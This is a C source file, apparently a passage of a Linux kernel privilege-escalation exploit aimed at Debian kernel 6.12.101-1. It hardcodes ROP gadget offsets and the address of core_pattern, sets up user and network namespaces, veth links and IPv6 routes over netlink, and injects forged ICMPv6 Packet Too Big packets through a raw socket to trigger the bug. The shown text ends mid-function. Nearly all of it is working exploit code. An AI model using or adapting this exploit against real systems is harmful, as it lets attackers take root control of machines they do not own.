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| /*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/fib_rules.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <net/if.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/udp.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "leak.h"
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define KERNEL_IMAGE_PAGES 22
#define CPU1_CEA_PHYS_OFFSET UINT64_C(0x3ed18f58)
/* Debian 6.12.101-1. The first three are intentionally unaligned gadgets. */
#define OFF_PIVOT_RBX UINT64_C(0x5140a9)
#define OFF_POP_RSP_R15 UINT64_C(0xb2942)
#define OFF_FIVE_POP UINT64_C(0x91157)
#define OFF_POP_RSI UINT64_C(0xccc21d)
#define OFF_POP_RDI_RDI UINT64_C(0x8148e0)
#define OFF_WRITE4 UINT64_C(0x2c002e)
#define OFF_CLI_HALT UINT64_C(0x3e28e)
#define OFF_CORE_PATTERN_MODE UINT64_C(0x1d8d7ec)
static uint64_t kernel_slide;
static uint64_t cea;
static uint64_t pivot_rbx;
static uint64_t pop_rsp_r15;
static uint64_t five_pop;
static uint64_t pop_rsi;
static uint64_t pop_rdi_rdi;
static uint64_t write4;
static uint64_t cli_halt;
static uint64_t core_pattern_mode;
static int watcher_arm[2];
static int watcher_ready[2];
static int seeder_ready[2];
static uint32_t sequence;
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void write_file(const char *path, const char *value)
{
int fd = open(path, O_WRONLY | O_CLOEXEC);
size_t left = strlen(value);
if (fd < 0)
die(path);
while (left) {
ssize_t written = write(fd, value, left);
if (written < 0) {
if (errno == EINTR)
continue;
die(path);
}
value += written;
left -= (size_t)written;
}
close(fd);
}
static void drop_initial_privileges(void)
{
if (geteuid() == 0) {
if (setgroups(0, NULL) < 0)
die("drop supplementary groups");
if (setresgid(65534, 65534, 65534) < 0 ||
setresuid(65534, 65534, 65534) < 0)
die("drop to nobody");
if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
die("PR_SET_DUMPABLE");
}
printf("[+] initial uid=%u gid=%u\n", getuid(), getgid());
}
static void enter_namespaces(void)
{
char map[64];
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0)
die("unshare user");
write_file("/proc/self/setgroups", "deny");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_file("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_file("/proc/self/gid_map", map);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
die("set namespace uid");
if (unshare(CLONE_NEWNET) < 0)
die("unshare net");
}
static struct rtattr *put_attr(struct nlmsghdr *nlh, size_t capacity,
unsigned short type, const void *data, size_t length)
{
size_t offset = NLMSG_ALIGN(nlh->nlmsg_len);
size_t space = RTA_ALIGN(RTA_LENGTH(length));
struct rtattr *attr;
if (offset + space > capacity) {
errno = EMSGSIZE;
die("netlink attribute");
}
attr = (struct rtattr *)((char *)nlh + offset);
attr->rta_type = type;
attr->rta_len = RTA_LENGTH(length);
if (length)
memcpy(RTA_DATA(attr), data, length);
memset((char *)attr + attr->rta_len, 0, space - attr->rta_len);
nlh->nlmsg_len = offset + space;
return attr;
}
static struct rtattr *nest_start(struct nlmsghdr *nlh, size_t capacity,
unsigned short type)
{
return put_attr(nlh, capacity, type | NLA_F_NESTED, NULL, 0);
}
static void nest_end(struct nlmsghdr *nlh, struct rtattr *nest)
{
nest->rta_len = (char *)nlh + nlh->nlmsg_len - (char *)nest;
}
static void send_ack(int fd, struct nlmsghdr *nlh, const char *what)
{
struct sockaddr_nl kernel = { .nl_family = AF_NETLINK };
char reply[8192];
ssize_t received;
nlh->nlmsg_seq = ++sequence;
if (sendto(fd, nlh, nlh->nlmsg_len, 0,
(struct sockaddr *)&kernel, sizeof(kernel)) !=
(ssize_t)nlh->nlmsg_len)
die(what);
for (;;) {
struct nlmsghdr *response;
int remaining;
received = recv(fd, reply, sizeof(reply), 0);
if (received < 0) {
if (errno == EINTR)
continue;
die(what);
}
remaining = received;
for (response = (struct nlmsghdr *)reply;
NLMSG_OK(response, remaining);
response = NLMSG_NEXT(response, remaining)) {
struct nlmsgerr *error;
if (response->nlmsg_seq != nlh->nlmsg_seq)
continue;
if (response->nlmsg_type != NLMSG_ERROR) {
errno = EPROTO;
die(what);
}
error = NLMSG_DATA(response);
if (error->error) {
errno = -error->error;
die(what);
}
return;
}
}
}
static int open_rtnl(void)
{
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
if (fd < 0)
die("socket NETLINK_ROUTE");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind NETLINK_ROUTE");
return fd;
}
static void create_veth(int fd, const char *left, const char *right)
{
char buffer[1024] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct ifinfomsg *ifi;
struct rtattr *linkinfo, *infodata, *peer;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
put_attr(nlh, sizeof(buffer), IFLA_IFNAME, left, strlen(left) + 1);
linkinfo = nest_start(nlh, sizeof(buffer), IFLA_LINKINFO);
put_attr(nlh, sizeof(buffer), IFLA_INFO_KIND, "veth", sizeof("veth"));
infodata = nest_start(nlh, sizeof(buffer), IFLA_INFO_DATA);
peer = nest_start(nlh, sizeof(buffer), VETH_INFO_PEER);
if (nlh->nlmsg_len + NLMSG_ALIGN(sizeof(*ifi)) > sizeof(buffer)) {
errno = EMSGSIZE;
die("veth peer ifinfomsg");
}
memset((char *)nlh + nlh->nlmsg_len, 0, NLMSG_ALIGN(sizeof(*ifi)));
nlh->nlmsg_len += NLMSG_ALIGN(sizeof(*ifi));
put_attr(nlh, sizeof(buffer), IFLA_IFNAME, right, strlen(right) + 1);
nest_end(nlh, peer);
nest_end(nlh, infodata);
nest_end(nlh, linkinfo);
send_ack(fd, nlh, "create veth");
}
static unsigned int set_link_up(int fd, const char *name)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct ifinfomsg *ifi;
unsigned int index = if_nametoindex(name);
if (!index)
die("if_nametoindex");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = index;
ifi->ifi_flags = IFF_UP;
ifi->ifi_change = IFF_UP;
send_ack(fd, nlh, "set link up");
return index;
}
static void add_address(int fd, unsigned int index)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct ifaddrmsg *ifa;
struct in6_addr address;
if (inet_pton(AF_INET6, "2001:db8::2", &address) != 1)
die("inet_pton address");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifa));
nlh->nlmsg_type = RTM_NEWADDR;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
ifa = NLMSG_DATA(nlh);
ifa->ifa_family = AF_INET6;
ifa->ifa_prefixlen = 64;
ifa->ifa_flags = IFA_F_NODAD;
ifa->ifa_scope = RT_SCOPE_UNIVERSE;
ifa->ifa_index = index;
put_attr(nlh, sizeof(buffer), IFA_LOCAL, &address, sizeof(address));
put_attr(nlh, sizeof(buffer), IFA_ADDRESS, &address, sizeof(address));
send_ack(fd, nlh, "add IPv6 address");
}
static void make_destination(struct in6_addr *destination, unsigned int serial)
{
if (inet_pton(AF_INET6, "2001:db8::", destination) != 1)
die("inet_pton destination");
destination->s6_addr[12] = (serial >> 24) & 0xff;
destination->s6_addr[13] = (serial >> 16) & 0xff;
destination->s6_addr[14] = (serial >> 8) & 0xff;
destination->s6_addr[15] = serial & 0xff;
}
static void add_route(int fd, unsigned int index, uint32_t table)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct rtmsg *rtm;
struct in6_addr destination;
if (inet_pton(AF_INET6, "2001:db8::", &destination) != 1)
die("inet_pton route");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*rtm));
nlh->nlmsg_type = RTM_NEWROUTE;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
rtm = NLMSG_DATA(nlh);
rtm->rtm_family = AF_INET6;
rtm->rtm_dst_len = 64;
rtm->rtm_table = table <= 255 ? (uint8_t)table : RT_TABLE_UNSPEC;
rtm->rtm_protocol = RTPROT_STATIC;
rtm->rtm_scope = RT_SCOPE_LINK;
rtm->rtm_type = RTN_UNICAST;
put_attr(nlh, sizeof(buffer), RTA_DST, &destination, sizeof(destination));
put_attr(nlh, sizeof(buffer), RTA_OIF, &index, sizeof(index));
if (table > 255)
put_attr(nlh, sizeof(buffer), RTA_TABLE, &table, sizeof(table));
send_ack(fd, nlh, "add IPv6 route");
}
static void delete_route(int fd, unsigned int index, uint32_t table)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct rtmsg *rtm;
struct in6_addr destination;
if (inet_pton(AF_INET6, "2001:db8::", &destination) != 1)
die("inet_pton route delete");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*rtm));
nlh->nlmsg_type = RTM_DELROUTE;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
rtm = NLMSG_DATA(nlh);
rtm->rtm_family = AF_INET6;
rtm->rtm_dst_len = 64;
rtm->rtm_table = table <= 255 ? (uint8_t)table : RT_TABLE_UNSPEC;
rtm->rtm_scope = RT_SCOPE_LINK;
rtm->rtm_type = RTN_UNICAST;
put_attr(nlh, sizeof(buffer), RTA_DST, &destination, sizeof(destination));
put_attr(nlh, sizeof(buffer), RTA_OIF, &index, sizeof(index));
if (table > 255)
put_attr(nlh, sizeof(buffer), RTA_TABLE, &table, sizeof(table));
send_ack(fd, nlh, "delete IPv6 route");
}
static void get_hardware_address(const char *name, unsigned char address[6])
{
struct ifreq request = { 0 };
int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (fd < 0)
die("socket ioctl");
strncpy(request.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFHWADDR, &request) < 0)
die("SIOCGIFHWADDR");
memcpy(address, request.ifr_hwaddr.sa_data, 6);
close(fd);
}
static uint32_t checksum_add(uint32_t sum, const void *data, size_t length)
{
const unsigned char *bytes = data;
while (length >= 2) {
sum += ((uint32_t)bytes[0] << 8) | bytes[1];
bytes += 2;
length -= 2;
}
if (length)
sum += (uint32_t)bytes[0] << 8;
return sum;
}
static uint16_t icmp6_checksum(const struct in6_addr *source,
const struct in6_addr *destination,
const void *icmp, size_t length)
{
uint32_t sum = 0;
unsigned char trailer[4] = { 0 };
uint32_t network_length = htonl(length);
sum = checksum_add(sum, source, sizeof(*source));
sum = checksum_add(sum, destination, sizeof(*destination));
sum = checksum_add(sum, &network_length, sizeof(network_length));
trailer[3] = IPPROTO_ICMPV6;
sum = checksum_add(sum, trailer, sizeof(trailer));
sum = checksum_add(sum, icmp, length);
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return htons((uint16_t)~sum);
}
static int create_quoted_udp_flow(const struct in6_addr *destination,
uint32_t mark, uint16_t source_port)
{
struct sockaddr_in6 local = {
.sin6_family = AF_INET6,
.sin6_port = htons(source_port),
};
struct sockaddr_in6 remote = {
.sin6_family = AF_INET6,
.sin6_port = htons(23456),
};
int fd = socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (fd < 0)
die("socket quoted UDP flow");
if (mark && setsockopt(fd, SOL_SOCKET, SO_MARK, &mark, sizeof(mark)) < 0)
die("SO_MARK quoted UDP flow");
if (inet_pton(AF_INET6, "2001:db8::2", &local.sin6_addr) != 1)
die("inet_pton UDP flow");
remote.sin6_addr = *destination;
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind quoted UDP flow");
if (connect(fd, (struct sockaddr *)&remote, sizeof(remote)) < 0)
die("connect quoted UDP flow");
return fd;
}
static void inject_packet_too_big(const struct in6_addr *quoted_destination,
uint16_t quoted_source_port)
{
struct {
struct ethhdr ethernet;
struct ip6_hdr outer;
struct icmp6_hdr icmp;
struct ip6_hdr inner;
struct udphdr udp;
} __attribute__((packed)) packet = { 0 };
struct sockaddr_ll destination = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_IPV6),
};
unsigned char edge0_address[6], edge1_address[6];
struct in6_addr outer_source, outer_destination;
int fd;
size_t icmp_length = sizeof(packet.icmp) + sizeof(packet.inner) +
sizeof(packet.udp);
get_hardware_address("edge0", edge0_address);
get_hardware_address("edge1", edge1_address);
memcpy(packet.ethernet.h_dest, edge0_address, sizeof(edge0_address));
memcpy(packet.ethernet.h_source, edge1_address, sizeof(edge1_address));
packet.ethernet.h_proto = htons(ETH_P_IPV6);
packet.outer.ip6_flow = htonl(6U << 28);
packet.outer.ip6_plen = htons(icmp_length);
packet.outer.ip6_nxt = IPPROTO_ICMPV6;
packet.outer.ip6_hlim = 64;
if (inet_pton(AF_INET6, "2001:db8::3", &outer_source) != 1 ||
inet_pton(AF_INET6, "2001:db8::2", &outer_destination) != 1)
die("inet_pton outer packet");
memcpy(&packet.outer.ip6_src, &outer_source, sizeof(outer_source));
memcpy(&packet.outer.ip6_dst, &outer_destination,
sizeof(outer_destination));
packet.icmp.icmp6_type = ICMP6_PACKET_TOO_BIG;
packet.icmp.icmp6_code = 0;
packet.icmp.icmp6_mtu = htonl(1280);
packet.inner.ip6_flow = htonl(6U << 28);
packet.inner.ip6_plen = htons(sizeof(packet.udp));
packet.inner.ip6_nxt = IPPROTO_UDP;
packet.inner.ip6_hlim = 64;
if (inet_pton(AF_INET6, "2001:db8::2", &packet.inner.ip6_src) != 1)
die("inet_pton inner packet");
packet.inner.ip6_dst = *quoted_destination;
packet.udp.uh_sport = htons(quoted_source_port);
packet.udp.uh_dport = htons(23456);
packet.udp.uh_ulen = htons(sizeof(packet.udp));
packet.icmp.icmp6_cksum = icmp6_checksum(&outer_source,
&outer_destination,
&packet.icmp, icmp_length);
destination.sll_ifindex = if_nametoindex("edge1");
if (!destination.sll_ifindex)
die("if_nametoindex edge1");
memcpy(destination.sll_addr, edge0_address, sizeof(edge0_address));
destination.sll_halen = ETH_ALEN;
fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_IPV6));
if (fd < 0)
die("socket AF_PACKET");
|
